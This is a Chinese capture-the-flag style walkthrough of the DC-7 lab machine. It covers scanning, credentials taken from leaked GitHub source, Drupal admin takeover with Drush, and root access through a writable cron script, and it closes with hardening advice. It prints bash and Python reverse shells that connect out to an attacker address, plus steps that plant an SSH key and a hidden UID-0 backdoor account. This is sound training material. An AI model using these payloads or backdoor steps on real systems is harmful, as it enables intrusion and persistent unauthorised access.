DC-7靶场渗透实战:从SSH登录到定时任务提权全记录(附避坑指南)
DC-7靶场渗透实战:从SSH凭证泄露到定时任务提权深度剖析
在网络安全实战演练中,靶机渗透往往能揭示真实环境中容易被忽视的安全漏洞。DC-7作为DC靶场系列中难度适中的Linux环境,其设计巧妙融合了多个典型漏洞链,特别适合中级渗透测试人员提升权限提升技巧。本文将完整还原从初始信息收集到最终获取root权限的全过程,并重点分析三个关键转折点:GitHub源码泄露导致的SSH凭证暴露、Drupal后台密码重置的非常规方法,以及利用错误配置的定时任务实现权限跃迁的技术细节。
1. 靶场环境初始化与信息收集
1.1 基础网络扫描
使用经典工具组合进行初步侦察:
# ARP扫描发现存活主机 arp-scan -l --interface=eth0 --localnet # Nmap全面端口扫描 nmap -sS -p- -T4 192.168.1.100 -oA dc7_scan扫描结果通常会显示以下关键端口:
| 端口号 | 服务 | 潜在攻击面 |
|---|---|---|
| 22 | SSH | 暴力破解/凭证复用 |
| 80 | HTTP | Web应用漏洞 |
| 3306 | MySQL | 数据库注入 |
1.2 Web目录枚举的陷阱
许多渗透者会立即使用Dirbuster或gobuster进行目录爆破,但在DC-7中这种常规方法往往收效甚微。更有效的策略是:
# 使用针对性更强的字典文件 gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt注意:当常规扫描无果时,建议检查页面源码注释、robots.txt以及HTTP响应头中的线索。在DC-7案例中,页面底部的
@DC7USER提示就是关键突破口。
2. 源码泄露与SSH凭证获取
2.1 GitHub信息挖掘
通过搜索引擎查询@DC7USER关联的GitHub账号,可发现包含网站源码的仓库。关键操作步骤:
- 克隆仓库到本地
git clone https://github.com/DC7USER/dc7-config.git - 检查历史提交记录
git log -p - 分析配置文件
grep -r "password" ./config/
在.env或settings.php文件中通常可发现数据库凭证或SSH凭据,例如:
DB_USER=dc7user DB_PASS=MdR3xOgB7#dW2.2 SSH登录验证
使用发现的凭证尝试SSH登录:
ssh dc7user@192.168.1.100若登录失败,需考虑以下可能性:
- 密码被转义需要添加引号
- 存在键盘布局差异(如美式/英式键盘)
- 凭证属于其他服务(如数据库)
3. Drupal后台密码重置技术
3.1 Drush工具的使用
在用户目录检查时,/var/www/html中的Drupal安装通常会附带Drush命令行工具。关键操作流程:
- 切换到Drupal根目录
cd /var/www/html - 列出所有用户
drush user-list - 重置管理员密码
drush upwd admin --password="NewSecurePassword123!"
密码强度建议包含:
- 至少12个字符
- 大小写字母组合
- 数字和特殊符号
- 避免常见词汇组合
3.2 后台getshell的曲折路径
Drupal后台getshell的几种可行方法对比:
| 方法 | 成功率 | 隐蔽性 | 所需权限 |
|---|---|---|---|
| PHP模块安装 | 高 | 低 | 管理员 |
| 主题文件编辑 | 中 | 中 | 文件写入权限 |
| 视图模块SQL注入 | 低 | 高 | 数据库访问权限 |
推荐使用PHP filter模块安装方式:
- 下载PHP模块
wget https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz - 后台上传安装
- 在自定义区块中添加反弹shell代码
4. 定时任务提权的艺术
4.1 Cron配置审计
发现可写定时任务的关键命令:
# 查看系统级定时任务 ls -la /etc/cron* # 检查用户级定时任务 crontab -l在DC-7中,/opt/scripts/backups.sh通常具有以下权限:
-rwxrwxr-x 1 root www-data 245 Jun 15 10:00 backups.sh这意味着www-data组用户(通常是Web服务用户)可以修改此文件。
4.2 可靠的反向shell写入
避免使用可能不兼容的netcat参数,推荐使用以下两种可靠方式:
方法一:Bash原生方式
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.50/4444 0>&1' >> /opt/scripts/backups.sh方法二:Python稳定版本
echo -e '#!/usr/bin/env python\nimport socket,subprocess,os\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("192.168.1.50",4444))\nos.dup2(s.fileno(),0)\nos.dup2(s.fileno(),1)\nos.dup2(s.fileno(),2)\np=subprocess.call(["/bin/bash","-i"])' >> /opt/scripts/backups.sh4.3 权限维持技巧
获取root权限后,建议建立持久化访问:
- 添加SSH公钥到root的authorized_keys
mkdir -p /root/.ssh echo "ssh-rsa AAAAB3NzaC..." >> /root/.ssh/authorized_keys - 创建隐藏后门账户
useradd -o -u 0 -g 0 -M -d /root -s /bin/bash stealth passwd stealth - 安装rootkit检测工具(避免被其他攻击者利用)
apt install rkhunter -y rkhunter --check
5. 防御措施与加固建议
5.1 系统层面防护
定期审计cron任务
# 监控cron日志 tail -f /var/log/syslog | grep CRON # 设置cron文件不可变 chattr +i /etc/crontab严格控制脚本目录权限
chown root:root /opt/scripts chmod 750 /opt/scripts
5.2 Web应用加固
Drupal特定安全措施:
- 禁用危险模块
drush pm-disable php -y - 配置严格的文件权限
find /var/www/html -type d -exec chmod 755 {} \; find /var/www/html -type f -exec chmod 644 {} \; - 启用安全头
add_header X-Content-Type-Options nosniff; add_header X-Frame-Options DENY; add_header X-XSS-Protection "1; mode=block";
渗透过程中发现,许多企业环境中都存在类似的配置缺陷。记得在真实测试中,清除所有测试痕迹并提交详细的修复建议报告。
